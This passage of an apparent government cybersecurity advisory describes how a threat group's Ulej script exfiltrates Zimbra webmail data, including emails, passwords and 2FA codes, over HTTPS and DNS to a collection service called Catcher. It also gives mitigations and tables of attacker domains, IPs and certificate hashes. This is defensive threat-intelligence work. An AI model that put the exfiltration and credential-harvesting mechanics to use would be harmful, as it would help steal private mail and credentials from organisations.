<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
